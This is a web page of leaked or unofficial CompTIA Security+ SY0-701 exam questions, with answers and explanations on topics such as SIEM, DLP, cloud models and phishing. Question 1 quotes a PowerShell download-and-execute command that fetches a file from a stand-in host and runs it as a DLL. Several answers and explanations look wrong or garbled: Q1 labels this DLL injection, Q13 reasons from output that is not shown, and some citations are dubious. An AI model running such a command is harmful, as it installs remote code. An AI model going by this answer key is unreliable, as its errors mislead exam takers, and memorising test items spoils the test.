Downloadable CompTIA SY0-701 Dump Online

NEW QUESTION 1

An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
Which of the following BEST describes what the analyst found?

• A. A Powershell code is performing a DLL injection.
• B. A PowerShell code is displaying a picture.
• C. A PowerShell code is configuring environmental variables.
• D. A PowerShell code is changing Windows Update settings.

Answer: A

Explanation:
According to GitHub user JSGetty196’s notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.
https://www.comptia.org/training/books/security-sy0-601-study-guide

NEW QUESTION 2

Multiple beaconing activities to a malicious domain have been observed. The malicious domain is hosting malware from various endpoints on the network. Which of the following technologies would be best to correlate the activities between the different endpoints?

• A. Firewall
• B. SIEM
• C. IPS
• D. Protocol analyzer

Answer: B

Explanation:
SIEM stands for Security Information and Event Management, which is a technology that collects, analyzes, and correlates data from multiple sources, such as firewall logs, IDS/IPS alerts, network devices, applications, and endpoints. SIEM provides real-time monitoring and alerting of security events, as well as historical analysis and reporting for compliance and forensic purposes.
A SIEM technology would be best to correlate the activities between the different endpoints that are beaconing to a malicious domain. A SIEM can detect the malicious domain by comparing it with threat intelligence feeds or known indicators of compromise (IOCs). A SIEM can also identify the endpoints that are communicating with the malicious domain by analyzing the firewall logs and other network traffic data. A SIEM can alert the security team of the potential compromise and provide them with relevant information for investigation and remediation.

NEW QUESTION 3

A security administrator needs to inspect in-transit files on the enterprise network to search for PI I credit card data, and classification words Which of the following would be the best to use?

• A. IDS solution
• B. EDR solution
• C. HIPS software solution
• D. Network DLP solution

Answer: D

Explanation:
A network DLP (Data Loss Prevention) solution is a tool that monitors and controls the data that is transmitted over a network. It can inspect in-transit files on the enterprise network to search for PII (Personally Identifiable Information), credit card data, and classification words by using predefined rules and policies, and then block, encrypt, quarantine, or alert on any sensitive data that is detected or leaked.

NEW QUESTION 4

To reduce and limit software and infrastructure costs the Chief Information Officer has requested to move email services to the cloud. The cloud provider and the organization must have secunty controls to protect sensitive data Which of the following cloud services would best accommodate the request?

• A. laaS
• B. PaaS
• C. DaaS
• D. SaaS

Answer: D

Explanation:
SaaS (Software as a Service) is a cloud model that provides clients with applications and software that are hosted and managed by a cloud provider over the internet. It can move email services to the cloud by allowing clients to access and use email applications without installing or maintaining them on their own devices or servers

NEW QUESTION 5

Which of the following should be addressed first on security devices before connecting to the network?

• A. Open permissions
• B. Default settings
• C. API integration configuration
• D. Weak encryption

Answer: B

Explanation:
Before connecting security devices to the network, it is crucial to address default settings first. Manufacturers often ship devices with default settings that include default usernames, passwords, and configurations. These settings are widely known and can be easily exploited by attackers. Changing default settings helps to secure the device and prevent unauthorized access. Reference: CompTIA Security+ SY0-501 Exam Objectives, Section 3.2: "Given a scenario, implement secure systems design." (https://www.comptia.jp/pdf/Security%2B%20SY0-501%20Exam%20Objectives.pdf)

NEW QUESTION 6

Which Of the following vulnerabilities is exploited an attacker Overwrite a reg-ister with a malicious address that changes the execution path?

• A. VM escape
• B. SQL injection
• C. Buffer overflow
• D. Race condition

Answer: C

Explanation:
A buffer overflow is a type of vulnerability that occurs when an attacker sends more data than a buffer can
hold, causing the excess data to overwrite adjacent memory locations such as registers. It can allow an attacker to overwrite a register with a malicious address that changes the execution path and executes arbitrary code on the target system

NEW QUESTION 7

one of the attendees starts to notice delays in the connection. and the HTTPS site requests are reverting to HTTP. Which of the following BEST describes what is happening?

• A. Birthday collision on the certificate key
• B. DNS hacking to reroute traffic
• C. Brute force to the access point
• D. A SSL/TLS downgrade

Answer: D

Explanation:
The scenario describes a Man-in-the-Middle (MitM) attack where the attacker intercepts traffic and downgrades the secure SSL/TLS connection to an insecure HTTP connection. This type of attack is commonly known as SSL/TLS downgrade attack or a stripping attack. The attacker is able to see and modify the communication between the client and server.

NEW QUESTION 8

A financial institution would like to store its customer data in the cloud but still allow the data to be accessed and manipulated while encrypted. Doing so would prevent the cloud service provider from being able to decipher the data due to its sensitivity. The financial institution Is not concerned about computational overheads and slow speeds. Which of the following cryptographic techniques would best meet the requirement?

• A. Asymmetric
• B. Symmetric
• C. Homomorphic
• D. Ephemeral

Answer: C

Explanation:
Homomorphic encryption is a cryptographic technique that allows data to be stored, accessed and manipulated while encrypted. Homomorphic encryption enables computations to be performed on ciphertexts, generating an encrypted result that, when decrypted, matches the result of the operations as if they had been performed on the plaintext. Homomorphic encryption can prevent the cloud service provider from being able to decipher the data due to its sensitivity, as the data remains encrypted at all times. Homomorphic encryption is not concerned about computational overheads and slow speeds, as it trades off performance for security and privacy. References:
https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/cryptography-concepts-2/
https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/symmetric-and-asymmetric-crypt

NEW QUESTION 9

A security engineer needs to create a network segment that can be used for servers thal require connections from untrusted networks. Which of the following should the engineer implement?

• A. An air gap
• B. A hot site
• C. A VUAN
• D. A screened subnet

Answer: D

Explanation:
A screened subnet is a network segment that can be used for servers that require connections from untrusted networks. It is placed between two firewalls, with one firewall facing the untrusted network and the other facing the trusted network. This setup provides an additional layer of security by screening the traffic that flows between the two networks. References: CompTIA Security+ Certification Guide, Exam SY0-501

NEW QUESTION 10

A security manager needs to assess the security posture of one of the organization's vendors. The contract with the vendor does not allow for auditing of the vendor's security controls. Which of (he following should the manager request to complete the assessment?

• A. A service-level agreement
• B. A business partnership agreement
• C. A SOC 2 Type 2 report
• D. A memorandum of understanding

Answer: C

Explanation:
SOC 2 (Service Organization Control 2) is a type of audit report that evaluates the controls of service providers to verify their compliance with industry standards for security, availability, processing integrity, confidentiality, and privacy. A Type 2 report is based on an audit that tests the effectiveness of the controls over a period of time, unlike a Type 1 report which only evaluates the design of the controls at a specific point in time.
A SOC 2 Type 2 report would provide evidence of the vendor's security controls and how effective they are over time, which can help the security manager assess the vendor's security posture despite the vendor not allowing for a direct audit.
The security manager should request a SOC 2 Type 2 report to assess the security posture of the vendor. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 5

NEW QUESTION 11

A security analyst is investigating multiple hosts that are communicating to external IP addresses during the hours of 2:00 a.m - 4:00 am. The malware has evaded detection by traditional antivirus software. Which of the following types of malware is MOST likely infecting the hosts?

• A. A RAT
• B. Ransomware
• C. Polymophic
• D. A worm

Answer: A

Explanation:
Based on the given information, the most likely type of malware infecting the hosts is a RAT (Remote Access Trojan). RATs are often used for stealthy unauthorized access to a victim's computer, and they can evade traditional antivirus software through various sophisticated techniques. In particular, the fact that the malware is communicating with external IP addresses during specific hours suggests that it may be under the control of an attacker who is issuing commands from a remote location. Ransomware, polymorphic malware, and worms are also possible culprits, but the context of the question suggests that a RAT is the most likely answer.

NEW QUESTION 12

A company is moving its retail website to a public cloud provider. The company wants to tokenize audit card data but not allow the cloud provider to see the stored credit card information. Which of the following would BEST meet these objectives?

• A. WAF
• B. CASB
• C. VPN
• D. TLS

Answer: B

Explanation:
CASB stands for cloud access security broker, which is a software tool or service that acts as an intermediary between users and cloud service providers. CASB can help protect data stored in cloud services by enforcing security policies and controls such as encryption, tokenization, authentication, authorization, logging, auditing, and threat detection. Tokenization is a process that replaces sensitive data with non-sensitive substitutes called tokens that have no intrinsic value. Tokenization can help prevent data leakage by ensuring that only authorized users can access the original data using a tokenization system.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.cisco.com/c/en/us/products/security/what

NEW QUESTION 13

A security analyst has received several reports of an issue on an internal web application. Users state they are having to provide their credentials twice to log in. The analyst checks with the application team and notes this is not an expected behavior. After looking at several logs, the analyst decides to run some commands on the gateway and obtains the following output:

Which of the following BEST describes the attack the company is experiencing?

• A. MAC flooding
• B. URL redirection
• C. ARP poisoning
• D. DNS hijacking

Answer: C

Explanation:
The output of the “netstat -ano” command shows that there are two connections to the same IP address and port number. This indicates that there are two active sessions between the client and server.
The issue of users having to provide their credentials twice to log in is known as a double login prompt issue. This issue can occur due to various reasons such as incorrect configuration of authentication settings, incorrect configuration of web server settings, or issues with the client’s browser.
Based on the output of the “netstat -ano” command, it is difficult to determine the exact cause of the issue. However, it is possible that an attacker is intercepting traffic between the client and server and stealing user credentials. This type of attack is known as C. ARP poisoning.
ARP poisoning is a type of attack where an attacker sends fake ARP messages to associate their MAC address with the IP address of another device on the network. This allows them to intercept traffic between the two devices and steal sensitive information such as user credentials.

NEW QUESTION 14

Which of the following can be used by an authentication application to validate a user's credentials without the need to store the actual sensitive data?

• A. Salt string
• B. Private Key
• C. Password hash
• D. Cipher stream

Answer: C

Explanation:
Password hash is a method of storing a user’s credentials without the need to store the actual sensitive data. A password hash is a one-way function that transforms the user’s password into a fixed-length string of characters that cannot be reversed. The authentication application can then compare the password hash with the stored hash to validate the user’s credentials without revealing the original password. References: 1
CompTIA Security+ Certification Exam Objectives, page 15, Domain 3.0: Implementation, Objective 3.5:
Implement secure authentication mechanisms 2
CompTIA Security+ Certification Exam Objectives, page 16,
Domain 3.0: Implementation, Objective 3.6: Implement identity and account management best practices 3
https://www.comptia.org/blog/what-is-password-hashing

NEW QUESTION 15

Which of the following roles would MOST likely have direct access to the senior management team?

• A. Data custodian
• B. Data owner
• C. Data protection officer
• D. Data controller

Answer: C

Explanation:
A data protection officer (DPO) is a role that oversees the data protection strategy and compliance of an organization. A DPO is responsible for ensuring that the organization follows data protection laws and regulations, such as the General Data Protection Regulation (GDPR), and protects the privacy rights of data subjects. A DPO also acts as a liaison between the organization and data protection authorities, as well as data subjects and other stakeholders.
A DPO would most likely have direct access to the senior management team, as they need to report on data protection issues, risks, and incidents, and advise on data protection policies and practices.
The other options are not correct because:
A. Data custodian is a role that implements and maintains the technical controls and procedures for data security and integrity. A data custodian does not have direct access to the senior management team, as they are more involved in operational tasks than strategic decisions.
B. Data owner is a role that determines the classification and usage of data within an organization. A data owner does not have direct access to the senior management team, as they are more involved in business functions than data protection compliance.
D. Data controller is a role that determines the purposes and means of processing personal data within an organization. A data controller does not have direct access to the senior management team, as they are more involved in data processing activities than data protection oversight.
According to CompTIA Security+ SY0-601 Exam Objectives 2.3 Given a scenario, implement secure protocols:
“A data protection officer (DPO) is a role that oversees the data protection strategy and compliance of an organization.”
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://gdpr-info.eu/issues/data-protection-officer/

NEW QUESTION 16

A data cento has experienced an increase in under-voltage events Mowing electrical grid maintenance outside the facility These events are leading to occasional losses of system availability Which of the following would be the most cost-effective solution for the data center 10 implement''

• A. Uninterruptible power supplies with battery backup
• B. Managed power distribution units lo track these events
• C. A generator to ensure consistent, normalized power delivery
• D. Dual power supplies to distribute the load more evenly

Answer: A

Explanation:
Uninterruptible power supplies with battery backup would be the most cost-effective solution for the data center to implement to prevent under-voltage events following electrical grid maintenance outside the facility. An uninterruptible power supply (UPS) is a device that provides emergency power to a load when the main power source fails or drops below an acceptable level. A UPS with battery backup can help prevent under-voltage events by switching to battery power when it detects a voltage drop or outage in the main power source. A UPS with battery backup can also protect the data center equipment from power surges or spikes.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.apc.com/us/en/faqs/FA158852/

NEW QUESTION 17

Which of the following is a security implication of newer 1CS devices that are becoming more common in corporations?

• A. Devices with celular communication capabilities bypass traditional network security controls
• B. Many devices do not support elliptic-curve encryption algorithms due to the overhead they require.
• C. These devices often lade privacy controls and do not meet newer compliance regulations
• D. Unauthorized voice and audio recording can cause loss of intellectual property

Answer: D

Explanation:
Industrial control systems (ICS) are devices that monitor and control physical processes, such as power generation, manufacturing, or transportation. Newer ICS devices may have voice and audio capabilities that can be exploited by attackers to eavesdrop on sensitive conversations or capture confidential information. This can result in the loss of intellectual property or trade secrets. References: https://www.comptia.org/content/guides/what-is-industrial-control-system-security

NEW QUESTION 18

A help desk technician receives an email from the Chief Information Officer (C/O) asking for documents. The technician knows the CIO is on vacation for a few weeks. Which of the following should the technician do to validate the authenticity of the email?

• A. Check the metadata in the email header of the received path in reverse order to follow the email’s path.
• B. Hover the mouse over the CIO's email address to verify the email address.
• C. Look at the metadata in the email header and verify the "From." line matches the CIO's email address.
• D. Forward the email to the CIO and ask if the CIO sent the email requesting the documents.

Answer: B

Explanation:
The “From” line in the email header can be easily spoofed or manipulated by an attacker to make it look like the email is coming from the CIO’s email address. However, this does not mean that the email address is actually valid or that the email is actually sent by the CIO. A better way to check the email address is to hover over it and see if it matches the CIO’s email address exactly. This can help to spot any discrepancies or typos that might indicate a phishing attempt. For example, if the CIO’s email address is cio@company.com, but when you hover over it, it shows cio@compnay.com, then you know that the email is not authentic and likely a phishing attempt.

NEW QUESTION 19
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